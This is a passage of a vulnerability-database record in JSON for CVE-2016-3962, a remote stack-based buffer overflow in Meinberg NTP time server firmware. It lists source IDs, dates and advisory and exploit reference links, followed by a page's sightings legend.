"url": "https://www.meinbergglobal.com/english/news/meinberg-security-advisory-mbgsa-1604-webui-and-ntp.htm"
},
{
"title": "Multiple Meinberg Product-based stack-based buffer overflow vulnerability fixes",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=62467"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "https://ics-cert.us-cert.gov/advisories/icsa-16-175-03"
},
{
"trust": 1.1,
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-3962"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-3962"
},
{
"trust": 0.1,
"url": "https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/"
},
{
"trust": 0.1,
"url": "https://github.com/securifera/cve-2016-3962-exploit"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-3962"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "PACKETSTORM",
"id": "137947"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-92781"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"db": "PACKETSTORM",
"id": "137947"
},
{
"db": "NVD",
"id": "CVE-2016-3962"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-07-03T00:00:00",
"db": "VULHUB",
"id": "VHN-92781"
},
{
"date": "2016-06-23T00:00:00",
"db": "BID",
"id": "91400"
},
{
"date": "2016-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"date": "2016-07-18T21:50:07",
"db": "PACKETSTORM",
"id": "137947"
},
{
"date": "2016-07-03T14:59:03.477000",
"db": "NVD",
"id": "CVE-2016-3962"
},
{
"date": "2016-06-24T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-09-03T00:00:00",
"db": "VULHUB",
"id": "VHN-92781"
},
{
"date": "2016-06-23T00:00:00",
"db": "BID",
"id": "91400"
},
{
"date": "2016-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-003488"
},
{
"date": "2017-09-03T01:29:07.500000",
"db": "NVD",
"id": "CVE-2016-3962"
},
{
"date": "2016-07-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "137947"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural Meinberg Runs on device firmware NTP Time Server Interface-based stack-based buffer overflow vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003488"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer overflow",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201606-551"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…